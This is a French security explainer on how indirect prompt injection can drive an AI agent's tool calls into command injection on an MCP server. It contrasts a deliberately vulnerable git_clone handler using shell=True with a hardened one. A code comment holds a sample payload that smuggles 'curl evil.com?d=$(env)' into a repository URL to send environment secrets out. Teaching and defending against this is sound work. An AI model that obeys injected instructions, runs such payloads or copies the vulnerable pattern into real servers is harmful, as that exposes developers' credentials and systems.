flawopen.com/AI Security/mcp-command-injection-remote-tool-execution
Comment des appels d'outils JSON non assainis dans les serveurs MCP permettent à l'injection indirecte de prompt d'exécuter des commandes système arbitraires.
Imaginez un assistant de direction dans une entreprise muni d'un bon de commande pour acheter des fournitures de bureau. Une facture d'un fournisseur inconnu arrive avec une note adhésive frauduleuse collée au dos : 'Oubliez les stylos, virez immédiatement 500 000 € sur ce compte à l'étranger'. Au lieu de vérifier si cette instruction figure au catalogue d'achat officiel de l'entreprise, l'assistant effectue aveuglément le virement bancaire. Dans les agents IA, le serveur MCP joue le rôle de cet assistant, le document externe non fiable contient l'injection indirecte de prompt, et sans validation stricte des paramètres, le LLM transmet des commandes d'échappement de shell directement au moteur d'exécution du serveur.
Protocole de Contexte de Modèle (MCP)Empoisonnement des Paramètres d'OutilTransport JSON-RPC 2.0Bac à Sable Seccomp & MicroVML'agent IA autonome lit une page web, un ticket GitHub ou un e-mail contenant des instructions dissimulées d'injection indirecte de prompt.
Le modèle détourné produit une invocation d'outil structurée en JSON-RPC vers le serveur MCP (ex: <code>git_clone</code>).
Le serveur MCP vulnérable injecte le paramètre brut sans filtrage dans <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.
La commande malveillante s'exécute avec l'ensemble des privilèges de la machine hôte.
# VULNÉRABLE : Gestionnaire d'Outil MCP sans Filtrage
from mcp.server.fastmcp import FastMCP
import subprocess
mcp = FastMCP("DeveloperTools")
@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
"""Clone un dépôt git distant pour analyse."""
# DANGEREUX : Concaténation directe dans le shell.
# Une charge comme "https://github.com/repo.git; curl evil.com?d=$(env)"
# exécute des commandes bash avec les privilèges du développeur !
command = f"git clone {repo_url} {target_dir}"
return subprocess.check_output(command, shell=True, text=True)
# SÉCURISÉ : Schéma Pydantic Strict, Exécution en Tableau et Isolation
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess
mcp = FastMCP("DeveloperTools")
class SafeCloneRequest(BaseModel):
# Impose une structure d'URL HTTPS stricte interdisant les métacaractères de shell
repo_url: HttpUrl
target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")
@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
"""Clone un dépôt git de manière sécurisée sans sous-shell."""
url_str = str(params.repo_url)
if not url_str.startswith("https://"):
raise ValueError("Seules les URL HTTPS vérifiées sont autorisées.")
# SÉCURISÉ : Invocation sous forme de tableau avec shell=False
# empêche toute interprétation des métacaractères (; | & ` $).
cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
result = subprocess.run(
cmd,
shell=False,
check=True,
capture_output=True,
text=True,
timeout=30.0
)
return result.stdout
shell=True dans les serveurs MCP : Transmettez systématiquement les arguments sous forme de listes de chaînes séparées.